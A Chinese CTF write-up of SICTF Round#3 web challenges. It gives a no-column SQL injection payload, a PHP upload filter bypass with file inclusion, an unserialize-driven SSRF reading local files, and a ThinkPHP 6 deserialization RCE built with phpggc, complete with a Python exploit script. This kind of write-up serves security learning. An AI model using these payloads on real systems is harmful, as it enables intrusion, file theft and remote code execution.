SICTF Round#3 wp web

web

hacker

sql无列名注入;

提示查询username参数,flag在flag表中;

传参测试发现,union select 可用,空格被过滤可以使用/**/代替 ,or也被过滤了且无法大小写、双写等绕过,导致无法查询flag表里的字段名,需注意flag在flag表中并不是flag字段,直接联合查询flag表的flag字段查询不到flag,因此就可以想到sql无列名注入,只需知道表名不用知道字段名即可查询字段的数据,payload如下;

?username=joe'union/**/select/**/a/**/from/**/(select/**/1,2/**/as/**/a/**/union/**/select/**/*/**/from/**/flag)/**/as/**/q%23

无列名注入获取flag表中数据;

100%_upload

文件上传+文件包含;

进入容器,文件上传界面,且一看url就猜测存在文件包含;

尝试file://协议读取/etc/passwd文件成功,存在文件包含,直接读取/flag提示不能直接获取,所以读取upload.php文件;

index.php?file=php://filter/read=convert.base64-encode/resource=upload.php

base64解码upload.php源码如下;

<?phpif(isset($_FILES['upfile'])){$uploaddir = 'uploads/';$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);$ext = pathinfo($_FILES['upfile']['name'],PATHINFO_EXTENSION);$text = file_get_contents($_FILES['upfile']['tmp_name']);echo $ext;if (!preg_match("/ph.|htaccess/i", $ext)){if(preg_match("/<\?php/i", $text)){echo "茂夫说:你的文件内容不太对劲哦<br>";}else{move_uploaded_file($_FILES['upfile']['tmp_name'],$uploadfile);echo "上传成功<br>路径为:" . $uploadfile . "<br>";}} else {echo "恶意后缀哦<br>";}}
?>

发现过滤了ph、htaccess后缀且文件内容不可有php标签,进行标签绕过、上传图片并配合文件包含即可;

# 上传1.png
?><?=`cat /flag`;

包含uploads/1.png获取flag;

EZ_SSRF

简单的ssrf,index.php源码如下;

 <?php
highlight_file(__file__);
error_reporting(0);
function get($url) {$curl = curl_init();curl_setopt($curl, CURLOPT_URL, $url);curl_setopt($curl, CURLOPT_HEADER, 0);curl_setopt($curl, CURLOPT_RETURNTRANSFER, true);$data = curl_exec($curl);curl_close($curl);echo base64_encode($data);return $data;
}
class client{public $url;public $payload;public function __construct(){$url = "http://127.0.0.1/";$payload = "system(\"cat /flag\");";echo "Exploit";}public function __destruct(){get($this->url);}
}
// hint:hide other file
if(isset($_GET['Harder'])) {unserialize($_GET['Harder']);
} else {echo "You don't know how to pass parameters?";
}?>
You don't know how to pass parameters?

ssrf,配合php反序列化使用file://协议即可读取本地文件,dirsearch目录扫描发现admin.php和flag.php;

方法一,直接读取flag.php并base64解码即可获取flag;

<?phpclass client{public $url = 'file:///var/www/html/flag.php';public $payload;
}echo serialize(new client());
?># payload
O:6:"client":2:{s:3:"url";s:29:"file:///var/www/html/flag.php";s:7:"payload";N;}

 方法二,读取admin.php源码如下,发现本地访问admin.php即可获得flag;

<?php
error_reporting(0);
include "flag.php";
highlight_file(__FILE__);
$allowed_ip = "127.0.0.1";
if ($_SERVER['REMOTE_ADDR'] !== $allowed_ip) {die("You can't get flag");
} else {echo $flag;
}
?>

ssrf访问本地admin.php,将返回结果base64解码获得flag;

<?phpclass client{public $url = 'http://127.0.0.1/admin.php';public $payload;
}echo serialize(new client());
?>
# payload
O:6:"client":2:{s:3:"url";s:26:"http://127.0.0.1/admin.php";s:7:"payload";N;}

Oyst3rPHP

ThinkPHP v6.0.x 反序列化漏洞的利用;

app/controller/Index.php部分源码如下,只需绕过三个if判断即可传参进行反序列化;

class Index extends BaseController
{public function index(){echo "RT,一个很简单的Web,给大家送一点分,再送三只生蚝,过年一起吃生蚝哈";echo "<img src='../Oyster.png'"."/>";$payload = base64_decode(@$_POST['payload']);$right = @$_GET['left'];$left = @$_GET['right'];$key = (string)@$_POST['key'];if($right !== $left && md5($right) == md5($left)){echo "Congratulations on getting your first oyster";echo "<img src='../Oyster1.png'"."/>";if(preg_match('/.+?THINKPHP/is', $key)){die("Oysters don't want you to eat");}if(stripos($key, '603THINKPHP') === false){die("!!!Oysters don't want you to eat!!!");}echo "WOW!!!Congratulations on getting your second oyster";echo "<img src='../Oyster2.png'"."/>";@unserialize($payload);//最后一个生蚝在根目录,而且里面有Flag???咋样去找到它呢???它的名字是什么???//在源码的某处注释给出了提示,这就看你是不是真懂Oyst3rphp框架咯!!!//小Tips:细狗函数┗|`O′|┛ 嗷~~}}

第一个if,使用2个MD5加密后0e开头的字符串绕过MD5值弱比较;

?left=s878926199a&right=QNKCDZO

第二、三个if,key值需包含603THINKPHP且不符合正则匹配,使用php正则的回溯绕过,回溯次数大于1000000时返回Flase;

# post传参
key=1000000个任意字符拼接603THINKPHP

 ThinkPHP v6.0.x 反序列化,直接使用工具生成payload进行rce即可,工具phpgcc:https://github.com/ambionics/phpggc

将phpgcc解压到kali执行如下命令生成rce的payload;

./phpggc ThinkPHP/RCE3 system "cat /Oyst3333333r.php" --base64###
其中app/controller/Index.php中进行了base64解码,这里要编码
/Oyst3333333r.php为flag的位置,在/vendor/topthink/think-orm/src/Model.php中也有提示

最终利用exp如下;

import requests
import reurl = 'http://yuanshen.life:37859/?left=s878926199a&right=QNKCDZO'
key = 'a' * 1000000 + '603THINKPHP'
data = {'payload': 'Tzo0MToiTGVhZ3VlXEZseXN5c3RlbVxDYWNoZWRcU3RvcmFnZVxQc3I2Q2FjaGUiOjM6e3M6NDc6IgBMZWFndWVcRmx5c3lzdGVtXENhY2hlZFxTdG9yYWdlXFBzcjZDYWNoZQBwb29sIjtPOjI2OiJMZWFndWVcRmx5c3lzdGVtXERpcmVjdG9yeSI6Mjp7czoxMzoiACoAZmlsZXN5c3RlbSI7TzoyNjoiTGVhZ3VlXEZseXN5c3RlbVxEaXJlY3RvcnkiOjI6e3M6MTM6IgAqAGZpbGVzeXN0ZW0iO086MTQ6InRoaW5rXFZhbGlkYXRlIjoxOntzOjc6IgAqAHR5cGUiO2E6MTp7czozOiJrZXkiO3M6Njoic3lzdGVtIjt9fXM6NzoiACoAcGF0aCI7czoyMToiY2F0IC9PeXN0MzMzMzMzM3IucGhwIjt9czo3OiIAKgBwYXRoIjtzOjM6ImtleSI7fXM6MTE6IgAqAGF1dG9zYXZlIjtiOjA7czo2OiIAKgBrZXkiO2E6MTp7aTowO3M6ODoiYW55dGhpbmciO319','key': key}res = requests.post(url, data=data)flag = re.search(r'SICTF{.*}', res.text).group()
print(flag) # SICTF{01a44fce-57db-4ccd-9bbb-dce5301eca92}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/479872.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

深度学习图像算法工程师--面试准备(1)

1 请问人工神经网络中为什么 ReLU 要好过于 tanh 和 Sigmoid function&#xff1f; 采⽤Sigmoid 等函数&#xff0c;算激活函数时&#xff08;指数运算&#xff09;&#xff0c;计算量⼤&#xff0c;反向传播求误差梯度时&#xff0c;求导涉及除法和指数运算&#xff0c;计算量…

MySQL - 增量同步和全量同步

增量同步和全量同步是数据同步过程中常用的两种方式&#xff0c;它们在定义、区别以及适用场景上有一些明显的差异。 一、定义 增量同步是指在数据同步中仅同步更新或新增的数据&#xff0c;而不包括已经同步过的数据。全量同步则是指将所有数据进行一次完整的同步&#xff0c…

财政部《关于加强数据资产管理的指导意见》要点解析

财政部1月11日印发的《关于加强数据资产管理的指导意见》&#xff08;以下简称《指导意见》&#xff09;是规范和加强数据资产管理&#xff0c;更好推动数字经济发展的重要文件。最近对文件的解析内容不少&#xff0c;这里结合一些公开内容再跟大家做一些解析。 四个核心要点 …

OpenAI Sora引领AI跳舞视频新浪潮:字节跳动发布创新舞蹈视频生成框架

OpenAI的Sora已经引起广泛关注&#xff0c;预计今年AI跳舞视频将在抖音平台上大放异彩。下面将为您详细介绍一款字节跳动发布的AI视频动画框架。 技术定位&#xff1a;这款框架采用先进的diffusion技术&#xff0c;专注于生成人类舞蹈视频。它不仅能够实现人体动作和表情的迁移…

视频生成模型作为世界模拟器

我们探索了在视频数据上大规模训练生成模型。具体来说&#xff0c;我们联合训练文本条件扩散模型&#xff0c;处理不同持续时间、分辨率和宽高比的视频和图像。我们利用一种在时空补丁上操作视频和图像潜码的transformer架构。我们最大的模型&#xff0c;Sora&#xff0c;能够生…

通用二进制方式安装MySQL8.0.x

一、必要说明 1、系统&#xff1a;openEuler操作系统 2、版本&#xff1a;MySQL - 8.0.36 3、下载地址&#xff1a;https://dev.mysql.com/get/Downloads/MySQL-8.0 二、安装步骤 1、下载glibc版本的Mysql [rootnode2 ~]# wget -c https://dev.mysql.com/get/Downloads/MySQ…

C# 使用RestSharp封装一个常用的http请求方法

Nuget安装RestSharp版本&#xff0c;不同版本之间的区别有很大&#xff0c;当前这个写法基于以下版本 public class APIHelper{private readonly string baseUrl ConfigurationManager.AppSettings["connectionString"].ToString(); /// <summary>/// http请…

离线升级esp32开发板升级包esp32-2.0.14(最新版已经3.0alpha了)

1.Arduino IDE 2.3.2最新 2024.2.20升级安装:https://www.arduino.cc/en/software 2.开发板地址 地址&#xff08;esp8266,esp32&#xff09; http://arduino.esp8266.com/stable/package_esp8266com_index.json,https://raw.githubusercontent.com/espressif/arduino-esp32…

C++ 二维差分 二维前缀和逆运算 差分矩阵

输入一个 n 行 m 列的整数矩阵&#xff0c;再输入 q 个操作&#xff0c;每个操作包含五个整数 x1,y1,x2,y2,c &#xff0c;其中 (x1,y1) 和 (x2,y2) 表示一个子矩阵的左上角坐标和右下角坐标。 每个操作都要将选中的子矩阵中的每个元素的值加上 c 。 请你将进行完所有操作后的…

基于RBAC的权限管理的理论实现和权限管理的实现

权限管理的理论 首先需要两个页面支持&#xff0c;分别是角色管理和员工管理&#xff0c;其中角色管理对应的是角色和权限的配合&#xff0c;员工管理则是将登录的员工账号和员工所处的角色进行对应&#xff0c;即通过新增角色这个概念&#xff0c;让权限和员工并不直接关联&a…

【论文精读】MAE

摘要 将掩码重建任务从nlp引入到cv&#xff0c;提出非对称掩码自编码器。 框架 概述 如上图&#xff0c;本文提出掩码自编码器&#xff0c;即将给定原始信号的部分观测值的情况下重建原始信号&#xff0c;编码器将观察到的部分信号(没有掩码标记)映射到潜在表示&#xff0c;采…

openai公司的chatgpt-3.5参数库内还未增加sora的语料信息

openai公司的chatgpt-3.5参数库内还未增加sora的语料信息&#xff01;我想通过openai公司的chatgpt3.5来了解一下关于sora的技术信息&#xff0c;结果呢&#xff0c;它竟然回答不知道sora是什么。看来&#xff0c;sora的语料库信息还未来得及加入chatgpt3.5的训练模型中。 如图…